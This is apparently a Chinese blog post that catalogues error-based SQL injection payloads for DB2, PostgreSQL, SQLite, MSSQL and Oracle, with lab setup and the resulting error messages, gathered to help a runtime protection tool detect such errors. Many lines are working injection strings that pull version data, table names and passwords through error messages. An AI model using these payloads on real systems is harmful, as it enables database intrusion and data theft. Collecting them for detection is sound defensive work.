数据库报错防护

原创 已于 2022-02-08 13:58:09 修改 · 1.6k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#sql

于 2022-01-13 11:48:46 首次发布

文章目录


为rasp报错拦截赋能

1.db2

环境搭建

docker run -d -p 50000:50000 --name db2 --privileged=true -e DB2INST1_PASSWORD=123456 -e DBNAME=testdb -e LICENSE=accept ibmcom/db2
docker exec -it db2 bash
su - db2inst1	
db2 connect to testdb
db2 "create table TEST(ID BIGINT NOT NULL GENERATED BY DEFAULT AS IDENTITY (START WITH 1,INCREMENT BY 1),USER_NAME VARCHAR(20),USER_AGES INT)"
# db2 命令后面的sql语句需要用引号括起来，否中会报 -bash: syntax error near unexpected token `(' 错误。

报错

db2 "select tabname, tabschema from syscat.tables where tabschema='SYSTOOLS''";
payload: SYSTOOLS'
# SQL0010N  The string constant beginning with "'SYSTOOLS''" does not have an ending string delimiter.  SQLSTATE=42603

db2 "select tabname, tabschema from syscat.tables where tabschema='SYSTOOLS')--'";
payload: SYSTOOLS')--
# SQL0104N  An unexpected token ")" was found following "tabschema='SYSTOOLS'".  Expected tokens may include:  "END-OF-STATEMENT".  SQLSTATE=42601

2.postgresql

环境搭建

docker pull postgres
docker run --name mypostgres -d -p 5432:5432 -e POSTGRES_PASSWORD=123456 postgres
docker exec -it postgres psql -U postgres -d postgres
psql -U username -h ipaddress -d dbname

数据

create database testDB;
-- ----------------------------
-- Table structure for person
-- ----------------------------
DROP TABLE IF EXISTS "public"."person";
CREATE TABLE "public"."person" (
  "person" int4 NOT NULL,
  "name" varchar(255) COLLATE "pg_catalog"."default",
  "password" varchar(255) COLLATE "pg_catalog"."default"
)
;

-- ----------------------------
-- Records of person
-- ----------------------------
INSERT INTO "public"."person" VALUES (1, 'xjj', '123456');
INSERT INTO "public"."person" VALUES (2, 'xxx', '51234');

-- ----------------------------
-- Table structure for school
-- ----------------------------
DROP TABLE IF EXISTS "public"."school";
CREATE TABLE "public"."school" (
  "id" int4,
  "name" varchar(255) COLLATE "pg_catalog"."default",
  "class" varchar(32) COLLATE "pg_catalog"."default"
)
;

-- ----------------------------
-- Records of school
-- ----------------------------

-- ----------------------------
-- Primary Key structure for table person
-- ----------------------------
ALTER TABLE "public"."person" ADD CONSTRAINT "person_pkey" PRIMARY KEY ("person");

基础语句

# 基础
version()

# 恶意语句
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

报错

select * from person where name='xjj' AND 7778=CAST((SELECT version())::text AS double precision); 
# ERROR:  invalid input syntax for type double precision: "PostgreSQL 14.1 (Debian 14.1-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit"

3.sqlite

安装sqlite

请访问 SQLite 下载页面，从 Windows 区下载预编译的二进制文件。
下载 sqlite-tools-win32-.zip 和 sqlite-dll-win32-.zip 压缩文件。
创建文件夹 C:\sqlite，并在此文件夹下解压上面两个压缩文件，将得到 sqlite3.def、sqlite3.dll 和 sqlite3.exe 文件。

创建数据

PRAGMA foreign_keys = false;

-- ----------------------------
-- Table structure for person
-- ----------------------------
DROP TABLE IF EXISTS "person";
CREATE TABLE "person" (
  "id" INTEGER NOT NULL,
  "name" TEXT,
  "password" TEXT,
  PRIMARY KEY ("id")
);

-- ----------------------------
-- Records of person
-- ----------------------------
INSERT INTO "person" VALUES (1, 'xjj', ';alkjfsdqw');
INSERT INTO "person" VALUES (2, 'tql', 'tqltql');

-- ----------------------------
-- Table structure for school
-- ----------------------------
DROP TABLE IF EXISTS "school";
CREATE TABLE "school" (
  "id" INTEGER NOT NULL,
  "class" TEXT,
  "schoolname" TEXT,
  PRIMARY KEY ("id")
);

-- ----------------------------
-- Records of school
-- ----------------------------
INSERT INTO "school" VALUES (1, 1, '新东方');
INSERT INTO "school" VALUES (2, 4, NULL);

PRAGMA foreign_keys = true;

基础语句

sqlite_version()
last_insert_rowid()

select * from sqlite_master #查询表结构
select group_concat(name) from sqlite_master where type='table' #读取表名
select group_concat(sql) from sqlite_master where type='table' and name='表名' #读取字段

报错

SELECT * FROM person where name="'"
# no such column: '
SELECT * FROM person where name='''
# nrecognized token: "'''"

generic error, like syntax error、malformed MATCH expression: ["3.6.23.1] and other

4.mssql

mssql在线测试环境

安装和建表

sudo docker run -e "ACCEPT_EULA=Y" -e "SA_PASSWORD=<YourStrong@Passw0rd>" \
   -p 1433:1433 --name sql1 -h sql1 \
   -d \
   mcr.microsoft.com/mssql/server:2017-latest

/opt/mssql-tools/bin/sqlcmd -S 127.0.0.1 -U SA -P password
或者使用navicat连接

# sql语句
# 创建数据库

IF EXISTS (SELECT * FROM sys.all_objects WHERE object_id = OBJECT_ID(N'[dbo].[person]') AND type IN ('U'))
	DROP TABLE [dbo].[person]
GO

CREATE TABLE [dbo].[person] (
  [id] int  NOT NULL,
  [age] int  NULL,
  [name] varchar(255) COLLATE SQL_Latin1_General_CP1_CI_AS  NULL,
  [password] varchar(255) COLLATE SQL_Latin1_General_CP1_CI_AS  NULL
)
GO

ALTER TABLE [dbo].[person] SET (LOCK_ESCALATION = TABLE)
GO


INSERT INTO [dbo].[person] ([id], [age], [name], [password]) VALUES (N'1', N'20', N'xjj', N'EAEAy')
GO


IF EXISTS (SELECT * FROM sys.all_objects WHERE object_id = OBJECT_ID(N'[dbo].[school]') AND type IN ('U'))
	DROP TABLE [dbo].[school]
GO

CREATE TABLE [dbo].[school] (
  [id] int  NULL,
  [class] varchar(255) COLLATE SQL_Latin1_General_CP1_CI_AS  NULL
)
GO

ALTER TABLE [dbo].[school] SET (LOCK_ESCALATION = TABLE)
GO


INSERT INTO [dbo].[school] ([id], [class]) VALUES (N'1', N'1')
GO

INSERT INTO [dbo].[school] ([id], [class]) VALUES (N'2', N'3')
GO


ALTER TABLE [dbo].[person] ADD CONSTRAINT [PK__person__3213E83FFD3AE760] PRIMARY KEY CLUSTERED ([id])
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON)  
ON [PRIMARY]
GO

基础语句

#基础信息
@@version
@@servername
db_name()
host_name()
col_name()
file_name()
user   #sa dbo public
is_srvrolemember('sysadmin')	#判断是否是系统管理员
is_srvrolemember('db_owner') 	#判断是否是库权限
is_srvrolemember('public') 		#判断是否为public权限
exists(select * from sysobjects) #判断是否存在表

#恶意语句
# for xml path函数主要是用于把多行查询结果变为一行显示，quotename函数的作用是把每行查询结果用[ ]默认包裹起来。
1=(select quotename(table_name) from information_schema.tables for xml path('')) #表名
1=(select quotename(column_name) from information_schema.columns where table_name='person' for xml path('')) #字段
1=(select quotename(name) from testDB.sys.sysobjects where xtype='U' for xml path('')) #所有表名
1=(select quotename(name) from sys.syscolumns where id=(select id from sys.sysobjects where name=('person')) for xml path('')) #查询person表的所有字段
1=(select (file_name((select top 1 name from testDB.sys.sysobjects where xtype='U' and name !='person')))) #第二个表名
1=(cast(host_name() as int))
1=(convert(int,db_name(),111))
1=(select id,':',password from person for xml path(''))
1=(select substring((select id,':',password from person for xml path('')),1,250))

报错注入

select password from dbo.person where id=$_GET[sql]

1.类型转换报错 Msg 245
(1)获取表名
?sql=1 and 1=(select top 1 table_name from information_schema.tables)
报错：
# Msg 245, Level 16, State 1, Server mssql, Line 1
# Conversion failed when converting the nvarchar value 'person' to data type int.

(2)获取版本信息
?sql=1 and 1=(@@version)
# Msg 245, Level 16, State 1, Server mssql, Line 1
# Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2017 (RTM-CU27) (KB5006944) - 14.0.3421.10 (X64) 
# 	Oct 14 2021 00:47:52 
# 	Copyright (C) 2017 Microsoft Corporation
# 	Developer Edition (64-bit) on Linux (Ubuntu 16.04.7 LTS)' to data type int.

(3)获取全部表名
?sql=1 and 1=(select quotename(table_name) from information_schema.tables for xml path(''))
# Msg 245, Level 16, State 1, Server mssql, Line 1
# Conversion failed when converting the nvarchar value '[person][school]' to data type int.

(4)获取第二个表名
?sql=1 and 1=(select (file_name((select (file_name((select top 1 name from testDB.sys.sysobjects where xtype='U' and name !='person'))))))
# Msg 245, Level 16, State 1, Server mssql, Line 1
# Conversion failed when converting the nvarchar value 'school' to data type int.


2.order by报错   Msg 108
?sql=1 order by 5
#Msg 108, Level 16, State 1, Server mssql, Line 1
#The ORDER BY position number 5 is out of range of the number of items in the select list.


3.插入单引号   Msg 105  Msg 102
select password from dbo.person where name='$_GET[sql]'
?sql='
# Msg 105, Level 15, State 1, Server mssql, Procedure , Line 0
# Unclosed quotation mark after the character string '''.
# Msg 102, Level 15, State 1, Server mssql, Procedure , Line 0
# Incorrect syntax near '''.
# [42000] [Microsoft][SQL Server Native Client 10.0][SQL Server]Unclosed quotation mark after the character string '''. (105)
# [42000] [Microsoft][SQL Server Native Client 10.0][SQL Server]Incorrect syntax near '''. (102)

5.oracle

环境

在线oracle网址
docker搭建oracle

连接

sqlplus /nolog
conn sys/oracle as sysdba

创建数据：

create table t_class(cno varchar2(10) primary key,cname varchar2(20) not null);
create table t_student(
sno varchar2(20) constraint pk_student primary key,
sname varchar2(20) constraint chk_name not null,
sex char(2) constraint chk_sex check (sex in('男', '女')),
birth date,idcard varchar2(10)  references t_class(cno));

insert into t_class values('c001', '2班');
insert into t_class values('c002', '1班');

基础语句

-- 基础信息
select * from all_tables 查询出所有的表
select table_name from user_tables 查询出当前用户的表
select * from all_tab_columns 查询出所有的字段
select column_name from user_tab_columns  查询出当前用户的字段
select * from v$version 查版本
select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual -- 库名
select table_name from user_tables where rownum=1 -- 表名
select table_name from user_tables where rownum=1 and table_name <> 'xxx' -- 第二个表名

-- 恶意语句
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))
and 1=utl_inaddr.get_host_name((select user from dual))
and 1=ctxsys.drithsx.sn(1,(select user from dual))
and select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

报错注入

select * from t_class where cno='$_GET[sql]'

1.ctxsys.drithsx.sn    DRG-11701
?sql=c001' and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)); --
# ORA-20000: Oracle Text error:
# DRG-11701: thesaurus Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production does not exist


2.dbms_utility.sqlid_to_sqlhash    ORA-13797
?sql=c001' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null -- 
# ORA-13797: invalid SQL Id specified, APEX_PUBLIC_USER


3.utl_inaddr.get_host_name    ORA-29257
?sql=c001' and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1)); --
# ORA-29257: host Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit


4.dbms_xdb_version.makeversioned    ORA-31001
?sql=c001' and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null; --
# ORA-31001: Invalid resource handle or path name "Oracle Database 11g Express
# Edition Release 11.2.0.2.0 - 64bit Production"

5.XMLType    ORA-31011
?sql=c001' and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null; --
# ORA-31011: XML parsing failed
# ORA-19202: XML 处理
# LPX-00110: Warning: 无效的QName ":SYSTEM"

6.插入单引号
?sql='
# ORA-01756: quoted string not properly terminated


7.注释掉右测括号报错
select * from t_class where cno=('$_GET[sql]')
?sql=abc' and 1=(...) --
# ORA-00907: missing right parenthesis

8.注释掉右双引号，同时插入正确的标识符
select * from t_class where cno=("")
?sql=all_tables --
# ORA-01740: missing double quote in identifier

报错失败

select * from t_class where cno='c001' and ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) is not null;
# ORA-00942: table or view does not exist

其他报错

select * from t_class where cno='c001' order by 5
ORA-01785: ORDER BY item must be the number of a SELECT-list expression

参考：
https://www.freebuf.com/articles/web/291103.html
https://icode9.com/content-2-1047273.html
mssql安装和连接
mssql查询和报错
https://blog.youkuaiyun.com/weixin_44006354/article/details/103952616
https://www.shuzhiduo.com/A/x9J2EjQEz6/
https://www.runoob.com/postgresql/postgresql-schema.html
https://www.freebuf.com/articles/web/249371.html
https://www.hangge.com/blog/cache/detail_2831.html

C++程序启动报错和启动失败的常见原因分析与排查经验总结
dvlinker的技术专栏
12-24 4万+
本文对引发C++程序启动报错或启动失败的常见原因及相关排查办法进行了详细地总结，并给出具体的项目问题实战分析实例。相关的总结及实战分析案例均来自于项目实战，有很强的实战参考价值。
mysql常见错误解决方法 , 防止人为误操作MySQL数据库技巧一例 ,mysql架构图
weixin_34223655的博客
06-24 811
Mysql出现错误#1036 – Table ‘xxx_posts’ is read only怎么办?在给网站搬家的时候，数据库转移完了，开始访问网站，结果在某些操作中出现了“Table 'xxx_posts' is read only”这样的错误？这是什么原因呢？看提示貌似是说这个数据库只读，那么应该是权限设置出了问题。经过查找，找到了问题所在，原来是直接给mysql上传数...
DB2 SQL错误查询
热门推荐
滴水成海
06-24 11万+
DB2 开发常遇到一些错误，从网上找了一些资料，留查错使用   DB2 UDB的AS/400 SQL编程 Negative SQLCODEs 负SQLCODE＃ SQL0007 SQLCODE -07 SQLSTATE 42601 SQL0007 SQLCODE -07 SQLSTATE 42601 Explanation: Character &1 (HEX &2) not va
DB2常用语句
wo890532的专栏
12-10 791
--创建索引 CREATE INDEX IOL.IDX_IOL_CUSTID ON IOL.CMS_DXLOANBAL(CUSTID); CREATE INDEX IOL.IDX_IOL_LOANACNO ON IOL.CMS_DXLOANBAL(LOANACNO); CREATE INDEX IOL.IDX_IOL_LISTID ON IOL.CMS_DXLOANBAL(LISTID); CRE...
sqlite数据如何转成mysql数据类型
糖果云专栏
05-23 6180
1.把db文件拖到Navicat Premium中，选择数据库，点击工具，数据传输。使用工具Navicat Premium 导出来的sql需要修改。4.导出格式 SQL 选择文件路径 编码选择UTF-8。这样就成功了，生成的sql文件就在你保存的位置了。这样就成功了，生成的sql文件就在你保存的位置了。使用SQLiteStudio导出来的sql需要修改。1.打开SQLiteStudio。5.导出格式选择最后一个 点击开始。2.选择工具点击导出。
DB2 SQL 消息
wjy1111的专栏
03-18 1万+
SQL0000W   语句处理成功。  SQL0001N    绑定或预编译未成功完成。  SQL0002N    绑定文件名无效。  SQL0003N    数据库名称无效。  SQL0004N    密码无效。  SQL0005N    消息文件名无效。  SQL0006N    日期时间格式参数无效。  SQL0007N    文本 后面的字符 字符 无效。  SQL0008
HNIUCTF-waf:stupid hacker,我知道你让数据库报错了，但我不想告你哪错了
最新发布
06-26
在CTF竞赛中，WAF（Web应用防火墙）挑战常用于测试参赛者对SQL注入绕过技术的掌握程度。这些挑战通常涉及识别并利用特定规则或漏洞来规避WAF的检测机制。...- 更新WAF规则：定期优化和更新防护规则，覆盖最新攻击模式。
Django的views与models操作数据库以及报错解决方案
NoneH的博客
03-04 1061
我想用Django的views操作model进行数据库的增删改查操作，结果发现报错django.core.exceptions.AppRegistryNotReady: Apps aren’t loaded yet.经过查阅并在优快云编写如下解决方案： 附上文原文完整解决方案链接：https://blog.youkuaiyun.com/NoneH/article/details/104658935 ===...
太原理工大学——软件安全技术（陈波）考试复习
qq_53272273的博客
05-29 3352
【代码】太原理工大学——软件安全技术（陈波）考试复习。
java 如何实现处理包含各种符号的字符串数据进行转义或编码 以符合sql插入oracle数据库不报错
05-29
好的，我需要解决用户的问题：如何在Java中对包含各种符号的字符串数据进行转义或编码，以确保正确插入Oracle数据库而不报错。用户之前提到了Oracle插入特殊符号的处理方法，现在想结合Java代码来实现。我需要参考...
DB2 错误代码信息梳理
qq_44709866的博客
10-22 1491
DB2错误提示
the end ,and the beginning
cwq2012的专栏
12-25 395
那么，我就来写个博客吧。
MySQL复习记录（二）：MySQL基础知识与基本操作
dangfulin的博客
09-28 1974
一，数据库 （一）数据库的原理 如果将数据定义为描述事物的符号记录，那么数据库就是长期存储在计算机内的、有组织的、可共享的、大量的数据集合， 数据库中的数据按一定的数据模型组织、描述和存储。根据数据模型进行数据的组织、描述、获取和维护的角色就是处于用户与操作系统之间的一层软件即数据库管理系统。 由数据库、数据库管理系统、应用程序和数据库管理员组成存储、管理、处理和维护数据的系统就是数据库系统。 （二）数据模型 数据模型就是对实际数据特征的在计算机中的抽象。 这种抽象需要满足： 较真实地模拟现实世界的事物。
MySQL报错分析：Error Code: 1264. Out of range value for column ‘columns‘ at row 167
rime的博客
04-09 6343
MySQL报错汇总
db2 errorcode
zscomehuyue的专栏
02-14 1780
SQL ErrorCode & State参考手帳 2010-08-18 18:30 | (分类:コンピューター) 操作数据库流程中，遇到许多疑问，很多都与SQL CODE和SQL State有关，现在把一个完整的SQLCODE和SQLState不正确信息和有关解释作以下说明，一来可以自己参考，对DB2不正确自行找出原由 （声明：这是搜集网上的资料得来的,细致出处不记得了） sqlcod...
DB2错误信息（按sqlcode排序）
04-12 2565
DB2错误信息（按sqlcode排序）
db2报01650_DB2 错误代码大全——SQLSTATE 消息
weixin_39835991的博客
12-18 1814
42 语法错误或访问规则违例表 32. 类代码 42：语法错误或访问规则违例 SQLSTATE 值含义42501 授权标识不具有对标识对象执行指定操作的特权。42502 授权标识不具有执行指定操作的特权。42504 无法从指定的权限名撤销指定的特权、安全标号或免除凭证。42506 发生所有者授权失败。42508 不能将指定的数据库特权授予 PUBLIC。42509 因为 STATICRULES 选...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值